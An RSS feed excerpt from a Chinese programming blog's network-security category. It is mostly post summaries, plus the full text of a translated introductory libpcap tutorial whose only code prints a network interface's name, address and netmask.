﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-flyonok-随笔分类-network security</title><link>http://www.cppblog.com/flyonok/category/16218.html</link><description /><language>zh-cn</language><lastBuildDate>Mon, 10 Dec 2012 13:31:56 GMT</lastBuildDate><pubDate>Mon, 10 Dec 2012 13:31:56 GMT</pubDate><ttl>60</ttl><item><title>使用Cacti监测系统与网络性能</title><link>http://www.cppblog.com/flyonok/archive/2011/04/11/143955.html</link><dc:creator>flyonok</dc:creator><author>flyonok</author><pubDate>Mon, 11 Apr 2011 08:57:00 GMT</pubDate><guid>http://www.cppblog.com/flyonok/archive/2011/04/11/143955.html</guid><wfw:comment>http://www.cppblog.com/flyonok/comments/143955.html</wfw:comment><comments>http://www.cppblog.com/flyonok/archive/2011/04/11/143955.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyonok/comments/commentRss/143955.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyonok/services/trackbacks/143955.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 使用Cacti监测系统与网络性能&nbsp;&nbsp;<a href='http://www.cppblog.com/flyonok/archive/2011/04/11/143955.html'>阅读全文</a><img src ="http://www.cppblog.com/flyonok/aggbug/143955.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyonok/" target="_blank">flyonok</a> 2011-04-11 16:57 <a href="http://www.cppblog.com/flyonok/archive/2011/04/11/143955.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网络流量监控器mrtg全攻略</title><link>http://www.cppblog.com/flyonok/archive/2011/04/11/143954.html</link><dc:creator>flyonok</dc:creator><author>flyonok</author><pubDate>Mon, 11 Apr 2011 08:48:00 GMT</pubDate><guid>http://www.cppblog.com/flyonok/archive/2011/04/11/143954.html</guid><wfw:comment>http://www.cppblog.com/flyonok/comments/143954.html</wfw:comment><comments>http://www.cppblog.com/flyonok/archive/2011/04/11/143954.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyonok/comments/commentRss/143954.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyonok/services/trackbacks/143954.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 网络流量监控器mrtg全攻略&nbsp;&nbsp;<a href='http://www.cppblog.com/flyonok/archive/2011/04/11/143954.html'>阅读全文</a><img src ="http://www.cppblog.com/flyonok/aggbug/143954.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyonok/" target="_blank">flyonok</a> 2011-04-11 16:48 <a href="http://www.cppblog.com/flyonok/archive/2011/04/11/143954.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用libpcap抓包并进行底层网络欺骗 序</title><link>http://www.cppblog.com/flyonok/archive/2011/04/08/143727.html</link><dc:creator>flyonok</dc:creator><author>flyonok</author><pubDate>Fri, 08 Apr 2011 09:33:00 GMT</pubDate><guid>http://www.cppblog.com/flyonok/archive/2011/04/08/143727.html</guid><wfw:comment>http://www.cppblog.com/flyonok/comments/143727.html</wfw:comment><comments>http://www.cppblog.com/flyonok/archive/2011/04/08/143727.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyonok/comments/commentRss/143727.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyonok/services/trackbacks/143727.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 用libpcap抓包并进行底层网络欺骗 序&nbsp;&nbsp;<a href='http://www.cppblog.com/flyonok/archive/2011/04/08/143727.html'>阅读全文</a><img src ="http://www.cppblog.com/flyonok/aggbug/143727.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyonok/" target="_blank">flyonok</a> 2011-04-08 17:33 <a href="http://www.cppblog.com/flyonok/archive/2011/04/08/143727.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用libpcap抓包并进行底层网络欺骗 --part 1</title><link>http://www.cppblog.com/flyonok/archive/2011/04/08/143726.html</link><dc:creator>flyonok</dc:creator><author>flyonok</author><pubDate>Fri, 08 Apr 2011 09:32:00 GMT</pubDate><guid>http://www.cppblog.com/flyonok/archive/2011/04/08/143726.html</guid><wfw:comment>http://www.cppblog.com/flyonok/comments/143726.html</wfw:comment><comments>http://www.cppblog.com/flyonok/archive/2011/04/08/143726.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyonok/comments/commentRss/143726.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyonok/services/trackbacks/143726.html</trackback:ping><description><![CDATA[<span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: medium Simsun; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: rgb(0,0,0); WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" class=Apple-style-span><span style="LINE-HEIGHT: 25px; FONT-FAMILY: Verdana, 'Lucida Grande', Arial, Helvetica, sans-serif; COLOR: rgb(68,68,68); FONT-SIZE: 14px" class=Apple-style-span>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px" align=center><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" size=3><strong style="WORD-WRAP: break-word; WORD-BREAK: break-all">用libpcap抓包并进行底层网络欺骗</strong></font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px" align=left><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" size=1>&nbsp;<font style="WORD-WRAP: break-word; WORD-BREAK: break-all" size=2>作者：</font></font><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" size=2><span style="WORD-WRAP: break-word; COLOR: rgb(0,1,2); WORD-BREAK: break-all">Martin Casado</span></font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px" align=left><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" size=2>&nbsp;翻译：Yada</font></p>
<ul style="PADDING-BOTTOM: 0px; LINE-HEIGHT: 28px; LIST-STYLE-TYPE: disc; MARGIN: 1.5em 0px; PADDING-LEFT: 2em; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px">
    <li style="LIST-STYLE-TYPE: disc; WORD-WRAP: break-word; MARGIN-LEFT: 1.6em; WORD-BREAK: break-all">Download<span class=Apple-converted-space>&nbsp;</span><strong style="WORD-WRAP: break-word; WORD-BREAK: break-all">libpcap</strong><span class=Apple-converted-space>&nbsp;</span>Unix source from<span class=Apple-converted-space>&nbsp;</span><a style="WORD-WRAP: break-word; COLOR: rgb(44,98,158); WORD-BREAK: break-all; TEXT-DECORATION: none" href="http://online.cumt.edu.cn/space/link.php?url=http://www.tcpdump.org%2Frelease%2Flibpcap-0.9.5.tar.gz" target=_blank>Tcpdump.org</a></li>
    <li style="LIST-STYLE-TYPE: disc; WORD-WRAP: break-word; MARGIN-LEFT: 1.6em; WORD-BREAK: break-all">Search for other neat-o<span class=Apple-converted-space>&nbsp;</span><strong style="WORD-WRAP: break-word; WORD-BREAK: break-all">libpcap</strong><span class=Apple-converted-space>&nbsp;</span>stuff from<span class=Apple-converted-space>&nbsp;</span><a style="WORD-WRAP: break-word; COLOR: rgb(44,98,158); WORD-BREAK: break-all; TEXT-DECORATION: none" href="http://online.cumt.edu.cn/space/link.php?url=http://www.google.com%2F">google</a></li>
</ul>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px">------------------------------------------------------------------------------------<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">本文档包含<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;1。介绍(你已经在这里了）<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;2。抓第一个包<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;3。写一个基本的抓包引擎<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;4。分析包。。。。（正在写作中）</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px">------------------------------------------------------------------------------------<br style="WORD-WRAP: break-word; WORD-BREAK: break-all"></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><strong style="WORD-WRAP: break-word; WORD-BREAK: break-all"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" size=1>该文档的读者：</font></strong><span class=Apple-converted-space>&nbsp;</span>该指南假定你对网络有大概的了解。如：什么是包，包是如何送出的，物理层与数据链路层还有网络层等等。但是，我未假定你以前有网络编程的经验，仅仅对C有基本的知识即可。如果你已经是一个C/C++大师，那么你一定对 man 3 pcap 很熟悉，因此可以跳过我这种令人厌烦的写作风格。在你的系统上应该有已能运行的C编译器并且libpcap已经安装。该文档只涉及以太网的数据链路层。。。因此如果你使用的是其他一些令人厌恶的网络如令牌环网。。。那你得靠你自己去找到数据链路的头文件。最后，该节出现的所有的源程序在linux、内核2。2。14上编写并测试通过，虽然它应该是可移植的（呵呵）但是我不能保证它能在其他操作系统上编译通过。你将用root运行这些程序，要小心别误操作弄坏你的系统。哦，还有虽然我已经测试并运行了所有指南列出的代码，而且没有问题，但是我没有这个责任完成你的这些屁东西，而且还不得不被卫生部门隔离，你自己冒这个险吧，我不奉陪了 （恐怖的鬼叫声）<img style="MAX-WIDTH: 720px; WORD-WRAP: break-word; WORD-BREAK: break-all" src="http://online.cumt.edu.cn/space/images/edit/face/033.gif">。</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><br style="WORD-WRAP: break-word; WORD-BREAK: break-all"><strong style="WORD-WRAP: break-word; WORD-BREAK: break-all"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" size=1>简介：</font></strong>这儿就是用libpcap进行抓包指南的开始。不可避免地有问题出现了。。。&#8220;该死的抓包是什么？&#8221;或&#8220;谁是libpcap？&#8221;。。。我想我首先得回答这些问题。</p>
<ul style="PADDING-BOTTOM: 0px; LINE-HEIGHT: 28px; LIST-STYLE-TYPE: disc; MARGIN: 1.5em 0px; PADDING-LEFT: 2em; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px" dir=ltr>
    <li style="LIST-STYLE-TYPE: disc; WORD-WRAP: break-word; MARGIN-LEFT: 1.6em; WORD-BREAK: break-all"><strong style="WORD-WRAP: break-word; WORD-BREAK: break-all">抓包：</strong>简单地说就是&#8220;把包抢过来&#8221;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&#8220;哎呀，谢谢你马丁 :-P&#8221;你脱口而出。<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">不，实际上，我们在这里所做的一其都是通过操作系统底层提供的设备因此可以抓到原始状态的包。例如：假定你的以太网卡从网络获得一个数据包，一旦它将这个包交给操作系统，操作系统必须确定该包是何种类型，因此它剥掉数据包的以太网头并查看下一层，也许它是一个IP包。。。现在操作系统必须剥掉IP头并确定它是哪一类型的IP包，最后， 假定它被确定为UDP包，于是UDP头被剥掉并且其负载（数据部分）被交给包所发向的应用程序（注意：这里是真实情况的极度简单版本，但是我尽量阐明重点）。我们可以通过抓报截取网卡看到的任何包，将它从头到尾全部抢过来！忽略它发往哪个断口，甚至哪个主机！！</li>
    <li style="LIST-STYLE-TYPE: disc; WORD-WRAP: break-word; MARGIN-LEFT: 1.6em; WORD-BREAK: break-all"><strong style="WORD-WRAP: break-word; WORD-BREAK: break-all">libpcap<span class=Apple-converted-space>&nbsp;</span></strong>&#8220;提供与实现无关的访问操作系统所提供的底层捕获机制的分组捕获函数库&#8221;（Stivens，Unix network Programming, 707 页)。libpcap就是我们将用来直接从网卡那里抢包的函数库。顺便也提一下抓包的其他方法吧，有BPF（Berkeley Packet Filter), DLPI(Data Link Prvider Interface)和SOCKET_PACKET类型套接字（仅仅在linux上）</li>
</ul>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><strong style="WORD-WRAP: break-word; WORD-BREAK: break-all"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" size=1>正式开讲：</font></strong>有太多的东西需要讲解。。。因此让我们先熟悉libpcap吧。如我前面提及的，这节出现的所有代码假定你工作在以太网上，如果不是，这篇指南的基础部分仍然贴题，但是等会出现的代码以及对以太网头的分析显然不适合：:-( *很抱歉*。 摩拳擦掌准备写我们的第一个 libpcap 程序吧！！！将下面这个例子复制到你最喜欢的编辑器里 （可能是 VIM 如果你对其感兴趣）、保存、编译它。。。<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">%&gt;gcc ldev.c -lpcap</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><br style="WORD-WRAP: break-word; WORD-BREAK: break-all">------------------------------------------------------------------------------------</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>/* ldev.c<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp; Martin Casado<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp;<span class=Apple-converted-space>&nbsp;</span><br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp; To compile:<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp; &gt;gcc ldev.c -lpcap</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp;&nbsp; Looks for an interface, and lists the network ip<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp; and mask associated with that interface.<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">*/<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">#include &lt;stdio.h&gt;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">#include &lt;stdlib.h&gt;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">#include &lt;pcap.h&gt;&nbsp; /* GIMME a libpcap plz! */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">#include &lt;errno.h&gt;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">#include &lt;sys/socket.h&gt;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">#include &lt;netinet/in.h&gt;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">#include &lt;arpa/inet.h&gt;</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>int main(int argc, char **argv)<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">{<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; char *dev; /* name of the device to use */<span class=Apple-converted-space>&nbsp;</span><br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; char *net; /* dot notation of the network address */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; char *mask;/* dot notation of the network mask&nbsp;&nbsp;&nbsp; */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; int ret;&nbsp;&nbsp; /* return code */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; char errbuf[PCAP_ERRBUF_SIZE];<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; bpf_u_int32 netp; /* ip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; bpf_u_int32 maskp;/* subnet mask */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; struct in_addr addr;</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; /* ask pcap to find a valid device for use to sniff on */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; dev = pcap_lookupdev(errbuf);</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; /* error checking */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; if(dev == NULL)<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; {<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp; printf("%s\n",errbuf);<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp; exit(1);<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; }</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; /* print out device name */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; printf("DEV: %s\n",dev);</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; /* ask pcap for the network address and mask of the device */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; ret = pcap_lookupnet(dev,&amp;netp,&amp;maskp,errbuf);</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; if(ret == -1)<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; {<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp; printf("%s\n",errbuf);<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp; exit(1);<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; }</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; /* get the network address in a human readable form */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; addr.s_addr = netp;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; net = inet_ntoa(addr);</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; if(net == NULL)/* thanks Scott :-P */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; {<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp;&nbsp; perror("inet_ntoa");<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp;&nbsp; exit(1);<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; }</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; printf("NET: %s\n",net);</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; /* do the same as above for the device's mask */<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; addr.s_addr = maskp;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; mask = inet_ntoa(addr);<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;<span class=Apple-converted-space>&nbsp;</span><br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; if(mask == NULL)<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; {<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp;&nbsp; perror("inet_ntoa");<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;&nbsp;&nbsp; exit(1);<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; }<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp;<span class=Apple-converted-space>&nbsp;</span><br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&nbsp; printf("MASK: %s\n",mask);</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>&nbsp; return 0;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">}</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><br style="WORD-WRAP: break-word; WORD-BREAK: break-all">--------------------------------------------------------------------------------</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px">你运行这个程序了吗? 如果没有,&nbsp;运行它 :-) 假定它编译过, 并且运行无错你的输出应该如下：</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px"><font style="WORD-WRAP: break-word; WORD-BREAK: break-all" color=#a6a6a6>DEV: eth0<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">NET: 192.168.12.0<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">MASK: 255.255.255.0</font></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px">现在如果你的设备不是eth0、eth1或eth后面跟着某个数字之类的，那就会有麻烦了，因为该文档所描述的基本上都是监听以太网数据包。显然，你的IP地址和子网掩码可能与我所写的不一样，但是真实的值并不是讨论的重点。</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px">&#8220;那我们刚才做了什么？&#8221;你问道。很好，我们刚才向 libpcap 问了要监听的接口的信息。<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">&#8220;什么是接口？&#8221;<br style="WORD-WRAP: break-word; WORD-BREAK: break-all">把接口想象成一个将你的电脑连接到某个网络的硬件，在Linix上，eth0 表示你电脑上的第一块以太网卡，它就是我将用来示范libpcap的网络接口。现在你真正要关注的是我们获得的设备名字&#8220;eth0&#8221;， 我们将其名字传递给libpcap告诉它从哪儿抓包。NET和MASK 就是和网卡关联的IP地址和子网掩码。我希望哪天会写一个比用libpcap来列出系统信息的更好的方法 :-)</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 1.5em 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; WORD-WRAP: break-word; WORD-BREAK: break-all; PADDING-TOP: 0px">好了，现在你应该知道如何写，编译和运行一个libpcap程序，获得我们抓包的网络设备，并且对我们所做的有了基本的了解。下面，来抓我们的第一个包。。哇呜~！！</p>
</span></span>
<img src ="http://www.cppblog.com/flyonok/aggbug/143726.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyonok/" target="_blank">flyonok</a> 2011-04-08 17:32 <a href="http://www.cppblog.com/flyonok/archive/2011/04/08/143726.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用libpcap抓包并进行底层网络欺骗 --part 2</title><link>http://www.cppblog.com/flyonok/archive/2011/04/08/143725.html</link><dc:creator>flyonok</dc:creator><author>flyonok</author><pubDate>Fri, 08 Apr 2011 09:31:00 GMT</pubDate><guid>http://www.cppblog.com/flyonok/archive/2011/04/08/143725.html</guid><wfw:comment>http://www.cppblog.com/flyonok/comments/143725.html</wfw:comment><comments>http://www.cppblog.com/flyonok/archive/2011/04/08/143725.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyonok/comments/commentRss/143725.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyonok/services/trackbacks/143725.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 用libpcap抓包并进行底层网络欺骗 --part 2&nbsp;&nbsp;<a href='http://www.cppblog.com/flyonok/archive/2011/04/08/143725.html'>阅读全文</a><img src ="http://www.cppblog.com/flyonok/aggbug/143725.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyonok/" target="_blank">flyonok</a> 2011-04-08 17:31 <a href="http://www.cppblog.com/flyonok/archive/2011/04/08/143725.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>hacker成长的代码之路</title><link>http://www.cppblog.com/flyonok/archive/2011/04/08/143724.html</link><dc:creator>flyonok</dc:creator><author>flyonok</author><pubDate>Fri, 08 Apr 2011 09:30:00 GMT</pubDate><guid>http://www.cppblog.com/flyonok/archive/2011/04/08/143724.html</guid><wfw:comment>http://www.cppblog.com/flyonok/comments/143724.html</wfw:comment><comments>http://www.cppblog.com/flyonok/archive/2011/04/08/143724.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyonok/comments/commentRss/143724.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyonok/services/trackbacks/143724.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: hacker成长的代码之路&nbsp;&nbsp;<a href='http://www.cppblog.com/flyonok/archive/2011/04/08/143724.html'>阅读全文</a><img src ="http://www.cppblog.com/flyonok/aggbug/143724.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyonok/" target="_blank">flyonok</a> 2011-04-08 17:30 <a href="http://www.cppblog.com/flyonok/archive/2011/04/08/143724.html#Feedback" target="_blank" 